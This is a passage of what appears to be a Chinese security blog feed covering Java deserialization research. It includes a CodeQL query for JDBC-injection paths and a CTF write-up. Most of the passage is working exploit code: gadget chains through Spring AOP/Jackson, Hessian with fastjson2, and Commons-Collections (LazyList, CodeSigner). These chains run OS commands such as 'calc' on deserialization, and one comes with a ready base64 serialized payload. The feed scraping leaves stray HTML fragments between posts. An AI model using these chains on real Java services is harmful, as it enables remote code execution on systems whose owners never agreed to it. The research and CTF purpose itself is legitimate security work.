        this.getMethod().getName().regexpMatch("getConnection")

    }
}

class RestApiCallable extends Callable {
    RestApiCallable(){
        (this.getDeclaringType().getName().regexpMatch(".+Controller")  or this.getDeclaringType().getName().regexpMatch(".+Resource") 
        or this.getDeclaringType().getName().regexpMatch(".+Impl")) and not this.getDeclaringType().getName().regexpMatch(".+DaoImpl")
    }
}
query predicate edge(Method source,Callable sink) {
    source.calls(sink)
} 
from DangerousMethod sink,RestApiCallable source
where edge(source, sink.getCaller()) 
select source,source.getQualifiedName(),sink,sink.getCaller().getQualifiedName()

这些代码可以查询漏洞，但是为了避免风险就不放图了。

我们上面说了

举个例子吧

可以看到调用了databaseService

实际是DatabaseServiceImpl

里面调用了codeJdbcDao实际是CodeJdbcDaoImpl

存在jdbc注入

我们的查询语句就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java
class DangerousMethod extends MethodCall{
    DangerousMethod(){
        this.getMethod().getName().regexpMatch("getConnection")

    }
}
class RestApiCallable extends Callable {
    RestApiCallable(){
        (this.getDeclaringType().getName().regexpMatch(".+Controller")  or this.getDeclaringType().getName().regexpMatch(".+Resource") 
        or this.getDeclaringType().getName().regexpMatch(".+Impl")) and not this.getDeclaringType().getName().regexpMatch(".+DaoImpl")
    }
}
query predicate edge(Method source,Callable sink) {
    exists(Interface interface,Callable able 
        |  interface = sink.getDeclaringType().getASupertype() and not interface instanceof TypeObject
        |  able = interface.getAMethod() and able.getName() = sink.getName()
        and  source.calls(able) )
} 
from DangerousMethod sink,RestApiCallable source,RestApiCallable source2
where edge(source, sink.getCaller()) and edge(source2,source)
select source2,source2.getQualifiedName(),source,source.getQualifiedName(),sink,sink.getCaller().getQualifiedName()

mcp

同时我用ai生成了一个codeql_n1ght的mcp服务：

https://github.com/yezere/codeql_n1ght_mcp_server

虽然基本上没啥用，但是在这里贴一下吧

]]> <h2 id="免责声明："><a href="#免责声明：" class="headerlink" title="免责声明："></a>免责声明：</h2><p>本文章内容仅供教育和学习使用，不得用于非法或有害目的。请在合法范围内应用网络安全知识，对任何因使用本文内容造成的损失 高版本jdk+springboot链子 https://www.n1ght.cn/2025/08/21/%E9%AB%98%E7%89%88%E6%9C%ACjdk+springboot%E9%93%BE%E5%AD%90/ 2025-08-21T07:00:00.000Z 2025-08-21T08:50:06.786Z 今天看到了师傅在群里发的

01f258315b23969a24b44be6e74edb80

image

获取序列化一眼看出来spring aop代理，加之前的一个trick，

不需要继承AbstractTranslet加载类

众里寻他千百度，慕然回首

为什么继承了AbstractTranslet不行呢

image

我们在这defineClass时候，触发了一个报错，检查包管理机制

image

为什么，因为我们正常的类继承了AbstractTranslet​

所以在加载时候触发了包隔离，但是我们不需要继承也可以加载AbstractTranslet​

所以payload即是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
package com.n1ght;



import com.sun.org.apache.bcel.internal.Repository;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewConstructor;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Vector;

// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.bcel.internal=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.bcel.internal.classfile=ALL-UNNAMED
public class Main1 {
    public static String base64Serial(Object o) {
        try {
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            (new ObjectOutputStream(barr)).writeObject(o);
            return Base64.getEncoder().encodeToString(barr.toByteArray()).toString();
        } catch (Exception e) {
            System.out.println("Error: " + e);
            return "Failed";
        }
    }

    public static Object base64DeSerial(String base64) throws Exception {
        byte[] decode = Base64.getDecoder().decode(base64);
        ByteArrayInputStream bin = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(bin);
        return objectInputStream.readObject();
    }

    public static void fileSerial(Object o) {
        try {
            FileOutputStream barr = new FileOutputStream("ser.bin");
            (new ObjectOutputStream(barr)).writeObject(o);
        } catch (Exception e) {
            System.out.println("Error: " + e);
        }

    }

    public static Object fileDeSerial() {
        try {
            FileInputStream fileInputStream = new FileInputStream("ser.bin");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            return objectInputStream.readObject();
        } catch (Exception e) {
            System.out.println("Error: " + e);
            return "Failed";
        }
    }

    public static void deSerial(Object o) throws Exception {
        base64DeSerial(base64Serial(o));
    }
    static Unsafe unsafe;

    static {
        try {
            // 通过反射得到theUnsafe对应的Field对象
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            // 设置该Field为可访问
            field.setAccessible(true);
            // 通过Field得到该Field对应的具体对象，传入null是因为该Field为static的
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            System.out.println("Error: " + e);
        }

    }

    public static Unsafe getUnsafe() throws Exception {
        // 通过反射得到theUnsafe对应的Field对象
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        // 设置该Field为可访问
        field.setAccessible(true);
        // 通过Field得到该Field对应的具体对象，传入null是因为该Field为static的
        unsafe = (Unsafe) field.get(null);
        return unsafe;
    }

    public static void setObject(Object o, Field field, Object value) {
        unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
    }
    public static Object getObject(Object o, Field field) {
        return  unsafe.getObject(o, unsafe.objectFieldOffset(field));
    }
    public static Object newClass(Class c) throws InstantiationException {
        Object o = unsafe.allocateInstance(c);
        return o;
    }

    public static void bypassModule(Class src, Class dst) throws Exception {
        Unsafe unsafe = getUnsafe();
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(src, addr, unsafe.getObject(dst,unsafe.objectFieldOffset(Class.class.getDeclaredField("module"))));


    }
    public static byte[] getObjectBytes(Class o) throws Exception {
        return Repository.lookupClass(o).getBytes();
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass3= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace");
        ctClass3.removeMethod(writeReplace);
        ctClass3.toClass();
        CtClass ctClass = pool.makeClass("Calc");

        ctClass.addConstructor(
                CtNewConstructor.make("public Calc() { Runtime.getRuntime().exec(\"calc\"); }", ctClass)
        );
        CtClass ctClass1 = pool.makeClass("Foo");

        byte[] bytecode = ctClass.toBytecode();
        byte[] bytecode1 = ctClass1.toBytecode();

        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object templates = newClass(aClass);
        setObject(templates, aClass.getDeclaredField("_name"), "n1ght");

        setObject(templates, aClass.getDeclaredField("_sdom"), new ThreadLocal());
        setObject(templates, aClass.getDeclaredField("_tfactory"), newClass(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
//        setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {bytecode, bytecode1});
        setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {bytecode, bytecode1});
//        setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {TomcatEcho.testCalc()});
        Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Class<?> advisedSupport = Class.forName("org.springframework.aop.framework.AdvisedSupport");
        Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupport);
        constructor.setAccessible(true);
        Object advisedSupport1 = advisedSupport.newInstance();
        Method setTarget = advisedSupport1.getClass().getMethod("setTarget", Object.class);
        setTarget.invoke(advisedSupport1, templates);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(advisedSupport1);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);
        
        Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
        Constructor<?> constructor1 = name.getConstructor(Object.class);
        Object node = constructor1.newInstance(proxy);
//        Object node = constructor1.newInstance(templates);
//        JSONObject jsonObject = new JSONObject();
//        jsonObject.put("aaa",proxy);
        EventListenerList list2 = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getObject(manager, CompoundEdit.class.getDeclaredField("edits"));
        vector.add(node);
//        vector.add(jsonObject);
        setObject(list2, EventListenerList.class.getDeclaredField("listenerList"), new Object[]{InternalError.class, manager});
//        proxy.toString();
        String s = base64Serial(list2);
        System.out.println(s);
        Object o = base64DeSerial(s);
    }
}


没有触发

image

调用newInstance触发

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.demo;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception{
        String s= "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy8X6fHQgqwh0CAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAAFMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cHNyADBvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZFN1cHBvcnQky4o8+qTFdQIABloAC3ByZUZpbHRlcmVkTAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAphZHZpc29yS2V5dAAQTGphdmEvdXRpbC9MaXN0O0wACGFkdmlzb3JzcQB+ABtMAAppbnRlcmZhY2VzcQB+ABtMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5A8nnSQWpqEwCAAB4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAic3EAfgAhAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AA54cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAASzK/rq+AAAANwAYAQAEQ2FsYwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEAEWphdmEvbGFuZy9SdW50aW1lBwALAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADQAOCgAMAA8BAARjYWxjCAARAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEwAUCgAMABUBAARDb2RlACEAAgAEAAAAAAABAAEABwAIAAEAFwAAABoAAgABAAAADiq3AAq4ABASErYAFlexAAAAAAABAAUAAAACAAZ1cQB+AC4AAACWyv66vgAAADcADAEAA0ZvbwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIRm9vLmphdmEBAAY8aW5pdD4BAAMoKVYMAAcACAoABAAJAQAEQ29kZQAhAAIABAAAAAAAAQABAAcACAABAAsAAAARAAEAAQAAAAUqtwAKsQAAAAAAAQAFAAAAAgAGcHQABW4xZ2h0cHcBAHhwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB4AAAAAAAAAGRweA==";
        new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(s))).readObject();
    }
}

]]> <p>今天看到了师傅在群里发的</p> <p><img src="https://raw.githubusercontent.com/yezere/images/master/image/01f258315b23969a24b44be6e74edb80-2025082021444 blackhat-JDD-hessian反序列化jdk_fastjson链 https://www.n1ght.cn/2025/08/21/blackhat-JDD-hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96jdk_fastjson%E9%93%BE/ 2025-08-21T06:00:00.000Z 2025-08-21T06:40:27.951Z 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ServerManagerImpl serverManager = (ServerManagerImpl) unsafe.allocateInstance(ServerManagerImpl.class);
      HashMap<Integer, ServerTableEntry> hashMap =new HashMap<>();
      ServerTableEntry serverTableEntry = (ServerTableEntry) unsafe.allocateInstance(ServerTableEntry.class);
      hashMap.put(1,serverTableEntry);
      ReflectTools.setFieldValue(serverTableEntry,"state" ,2);
      ReflectTools.setFieldValue(serverTableEntry, "activateRetryCount",0);
      ReflectTools.setFieldValue(serverTableEntry, "debug", false);
      ReflectTools.setFieldValue(serverTableEntry, "activationCmd", "touch /tmp/success");

      Object process = unsafe.allocateInstance(Class.forName("java.lang.UNIXProcess"));
      ReflectTools.setFieldValue(process, "hasExited", true);
      ReflectTools.setFieldValue(serverTableEntry, "process", process);
      ReflectTools.setFieldValue(serverManager, "serverTable", hashMap);
      JSONArray objects = new JSONArray(serverManager);
      BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
      ReflectTools.setFieldValue(bad, "val", objects);
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      new ObjectOutputStream(byteArrayOutputStream).writeObject(bad);

但是我在序列化JSONArray的时候出现了一些问题

Exception in thread “main” java.io.NotSerializableException: com.sun.corba.se.impl.activation.ServerTableEntry

我该如何去解决它

发现他是hessian反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
package com.n1ght;
import com.alibaba.fastjson2.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.corba.se.impl.activation.ServerManagerImpl;
import com.sun.corba.se.impl.activation.ServerTableEntry;

import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Random;
import java.util.concurrent.ConcurrentHashMap;

import static com.sun.org.apache.xalan.internal.xsltc.compiler.Constants.CHARACTERS;

public class Main {
    public static void main(String[] args) throws Exception {
        ServerManagerImpl serverManager = createWithObjectNoArgsConstructor(ServerManagerImpl.class);
        HashMap<Integer, ServerTableEntry> hashMap =new HashMap<>();
        ServerTableEntry serverTableEntry = createWithObjectNoArgsConstructor(ServerTableEntry.class);
        hashMap.put(1,serverTableEntry);
        setFieldValue(serverTableEntry, "state",2);
        setFieldValue(serverTableEntry, "activateRetryCount",0);
        setFieldValue(serverTableEntry, "debug", false);
        setFieldValue(serverTableEntry, "activationCmd", "calc");

//        Object process = createWithObjectNoArgsConstructor(Class.forName("java.lang.UNIXProcess"));
//        setFieldValue(process, "hasExited", true);
//        setFieldValue(serverTableEntry, "process", process);
//
//        setFieldValue(serverManager, "serverTable", hashMap);
        Object process = createWithObjectNoArgsConstructor(Class.forName("java.lang.ProcessImpl"));
        setFieldValue(process, "handle", 6);
        setFieldValue(serverTableEntry, "process", process);
        setFieldValue(serverManager, "serverTable", hashMap);
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("key", serverManager);
        XStringForFSB xStringForFSB = createWithoutConstructor(XStringForFSB.class);
        setFieldValue(xStringForFSB, "m_strCache", generateRandomString());
        Object conEntry1 = createWithObjectNoArgsConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
        Object conEntry2 = createWithObjectNoArgsConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
        setFieldValue(conEntry1, "key", xStringForFSB);
        setFieldValue(conEntry1, "val", jsonObject);
        setFieldValue(conEntry2, "key", jsonObject);
        setFieldValue(conEntry2, "val", xStringForFSB);
        ConcurrentHashMap s = new ConcurrentHashMap();
        setFieldValue(s, "sizeCtl", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        setAccessible(nodeCons);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, conEntry1, conEntry1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, conEntry2, conEntry2, null));
        setFieldValue(s, "table", tbl);
        Field table = ConcurrentHashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        table.set(s, tbl);
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(byteArrayOutputStream);

        SerializerFactory sf = new SerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);
        out.writeObject(s);
        out.flush();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        new Hessian2Input(byteArrayInputStream).readObject();
    }
    public static String generateRandomString() {
        Random random = new Random();
        int length = random.nextInt(20)+1;
        StringBuilder sb = new StringBuilder(length);

        for (int i = 0; i < length; i++) {
            int index = random.nextInt(CHARACTERS.length());
            char randomChar = CHARACTERS.charAt(index);
            sb.append(randomChar);
        }

        return sb.toString();
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static <T> T createWithObjectNoArgsConstructor(Class<T> clzToInstantiate) {

        T resObject = null;
        try{
            resObject = createWithConstructor(clzToInstantiate, Object.class, new Class[0], new Object[0]);
        } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
        }

        return resObject;
    }
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);

            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
    }
}
]]> <figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class= Lilctf_blade_cc https://www.n1ght.cn/2025/08/21/blade_cc/ 2025-08-21T06:00:00.000Z 2025-08-21T06:41:56.316Z 这个题目的大部分链子存在博客里面：

https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-collections-TransformedList%E8%A7%A6%E5%8F%91transform/

所用到的类java原生类和common-collections类
​cc
jdk版本是
jdk1.8.0_162
看到之前师傅总结的cc链子的图，我去使用CodeQL寻找了一下，发现除了Map，List也能触发。
我找了一个可以触发到transform的链子，剩下的作用如InvokerTransform触发二次反序列化没有写，这边使用ChainedTransformer做一个例子
调用链：
​image

分析

eventListener触发CodeSigner的toString方法

image

image
signerCertPath.getCertificates().get(0)
这一行代码
​image
调用了signerCertPath的get(0)
​image
也就是LazyList的get(0)，由于factory用的是

1
new ConstantFactory(chainedTransformer)

所以object就为chainedTransformer
​image
进入
​image
​image
最后就进入了InvokerTransform的transform
​image
由于CertPath重写了writeReplace导致序列化异常，我使用了agent将其hook掉

agent hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.n1ght;  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import java.lang.instrument.ClassFileTransformer;  
import java.lang.instrument.IllegalClassFormatException;  
import java.security.ProtectionDomain;  
import java.security.cert.CertPath;  
  
public class RemoveReplaceTransformer implements ClassFileTransformer {  
    @Override  
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {  
        if(className.equals("java/security/cert/CertPath")){  
            try {  
                System.out.println(true);  
                ClassPool pool = ClassPool.getDefault();  
                CtClass ctClass = pool.get("java.security.cert.CertPath");  
                CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
                ctClass.removeMethod(writeReplace);  
                ctClass.detach();  
                return ctClass.toBytecode();  
            }catch (Exception e){  
                System.out.println(e);;  
            }  
  
        }  
  
        return  classfileBuffer;  
    }  
  
}

将agent加上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.web;  
  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantFactory;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.list.LazyList;  
import org.apache.commons.collections.list.TransformedList;  
import org.apache.commons.collections.map.ListOrderedMap;  
import sun.misc.Unsafe;  
import sun.security.provider.certpath.X509CertPath;  
  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.security.CodeSigner;  
import java.util.*;  
  
public class ccExp {  
    public static void main(String[] args) throws Exception {  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        ArrayList<Object> list = new ArrayList<>();  
        list.add(null);  
        List decorate1 = TransformedList.decorate(list, chainedTransformer);  
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));  
        HashMap<Object, Object> map = new HashMap<>();  
        ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);  
        Field field = Unsafe.class.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get((Object) null);  
        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);  
        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);  
        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);  
        Object o1 = unsafe.allocateInstance(CodeSigner.class);  
        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);  
        EventListenerList list2 = new EventListenerList();  
        UndoManager manager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(manager, "edits");  
        vector.add(o1);  
        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});  
        ByteArrayOutputStream bao = new ByteArrayOutputStream();  
        new ObjectOutputStream(bao).writeObject(list2);  
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));  
        ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());  
        new ObjectInputStream(bin).readObject();  
    }  
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {  
        Field field = getField(obj.getClass(), fieldName);  
        return field.get(obj);  
    }  
    public static Field getField(Class<?> clazz, String fieldName) {  
        Field field = null;  
  
        try {  
            field = clazz.getDeclaredField(fieldName);  
            field.setAccessible(true);  
        } catch (NoSuchFieldException var4) {  
            if (clazz.getSuperclass() != null) {  
                field = getField(clazz.getSuperclass(), fieldName);  
            }  
        }  
  
        return field;  
    }  
}

将base64编码内容，序列化
